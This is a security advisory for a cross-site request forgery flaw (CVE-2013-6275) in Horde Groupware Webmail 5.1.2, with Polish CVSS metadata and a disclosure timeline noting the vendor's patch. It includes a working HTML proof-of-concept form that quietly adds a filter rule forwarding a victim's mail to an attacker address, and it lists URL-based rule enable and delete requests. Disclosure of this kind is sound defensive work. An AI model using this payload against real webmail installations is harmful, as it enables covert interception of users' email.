Horde Groupware Web Mail Edition 5.1.2 CSRF Vulnerability

2013.10.29
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


Ogólna skala CVSS: 4.3/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Częściowy
Wpływ na dostępność: Brak

############################# Exploit Title : Multiple CSRF Horde Groupware Web mail Edition Author:Marcela Benetrix Date: 10/25/13 version: 5.1.2 software link:http://www.horde.org/apps/webmail ############################# GroupWare Web mail Edition Horde Groupware Webmail Edition is a free, enterprise ready, browser based communication suite. Users can read, send and organize email messages and manage and share calendars, contacts, tasks, notes, files, and bookmarks with the standards compliant components from the Horde Project ########################## CSRF Location Several functionalities from Rules section were found to miss the token so as to prevent CSRF ########################## POC A <body> <form action="...../horde/ingo/basic.php?page=rule" method="POST"> <input type="hidden" name="actionID" value="rule_save" /> <input type="hidden" name="conditionnumber" value="-1" /> <input type="hidden" name="name" value="TestingCSRF" /> <input type="hidden" name="combine" value="1" /> <input type="hidden" name="field[0]" value="From" /> <input type="hidden" name="match[0]" value="contains" /> <input type="hidden" name="value[0]" value="test@hotmail.com" /> <input type="hidden" name="field[1]" value="" /> <input type="hidden" name="action" value="4" /> <input type="hidden" name="actionvalue" value="attacker@hotmail.com" /> <input type="hidden" name="stop" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html> These were found at: * Creating a rule * Updating * Enabling (http://www.test.com/horde/ingo/basic.php?page=filters&rulenumber=2&actionID=rule_enable) * Deleting ( url-based https://www.test.com/horde/ingo/basic.php?page=filters&rulenumber=6&actionID=rule_delete) ########################### CVE identifier CVE-2013-6275. ########################## Vendor Notification 10/25/2013 to: the developers. They replied immediately and fixed the problem launching a patch: http://bugs.horde.org/ticket/12796 10/28/2013: Disclosure


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